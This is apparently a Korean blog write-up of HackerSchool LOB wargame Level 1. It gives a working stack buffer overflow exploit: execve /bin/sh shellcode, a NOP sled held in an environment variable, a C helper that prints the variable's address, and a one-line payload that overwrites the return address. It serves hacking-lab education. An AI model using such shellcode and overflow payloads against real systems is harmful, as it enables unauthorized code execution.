본문 바로가기

WarGame/HackerSchool_LOB

HackerSchool LOB Level1

생에 첫 bof를 해보자.

삽질 많이 했다.

공부까지 합쳐서 한 3일걸렸나?

젠장

시작해본다




우선, gremlin 파일의 권한이 gremlin이므로, gdb에서 실행이 안되므로, 

gdb에서 실행을 하려면 파일을 복사해서 사용하자.


gdb에서 실행안하고 단순히 디스어셈블만 할거면 상관없다.

디스어셈블을 해보자.


뭐 여튼,

스택에 

LOW | Buffer(256byte) | SFP(4byte) | RET(4byte) | HIGH

이런식으로 들어간다.



그래서 공격할 때 

파라미터에는 260바이트 뒤에 주소를 넣어주면 된다.



우선 쉘코드는

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

이걸 사용하였다.

25바이트짜리 bash를 띄우는 간단한 쉘코드이다.




난 이 쉘코드를 환경변수에 등록한 다음, 

리턴주소를 이 환경변수의 주소로 변경하여 공격을 진행할 것이다.




환경변수를 등록하려면,

export SHELLCODE=”`python -c 'print "₩x90"x100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`” 

안전한 공격을 위해 충분한 NOP을 넣어주고 쉘코드를 넣는다.


이렇게 입력하고,

export 명령어로 제대로 환경변수가 들어갔는지 확인해본다.


제대로 들어간 것을 확인했다.

이제 아래 코드로 이 환경변수의 주소를 알아내는 간단한 코드를 짜본다.



#include <stdio.h> 

int main(int argc, char **argv) 

 char *addr; 

 addr=getenv(argv[1]); 

 printf("address %p₩n", addr); 

 return 0; 



이걸로 환경변수를 입력하면 주소를 출력해준다.




이제 주소를 알았으니 진짜 버퍼오버플로우를 해보자.

260바이트를 NOP을 넣어주고, 그 다음에 환경변수의 주소를 넣어주면, 

환경변수가 저장된 주소로 리턴하게 되고,

환경변수에 저장해놓은 NOP을 타고가다가 쉘코드가 실행되게 된다.


 ./gremlin `python -c 'print "\x90"*260+"\x92\xfe\xff\xbf"'`



젠장


성공하였다.


ㅜㅜ


힘들다...


이제 2번 해봐야지



'WarGame > HackerSchool_LOB' 카테고리의 다른 글

HackerSchool LOB Level6  (0) 2014.07.29
HackerSchool LOB Level5  (0) 2014.07.29
HackerSchool LOB Level4  (0) 2014.07.26
HackerSchool LOB Level3  (0) 2014.07.24
HackerSchool LOB Level2  (0) 2014.07.24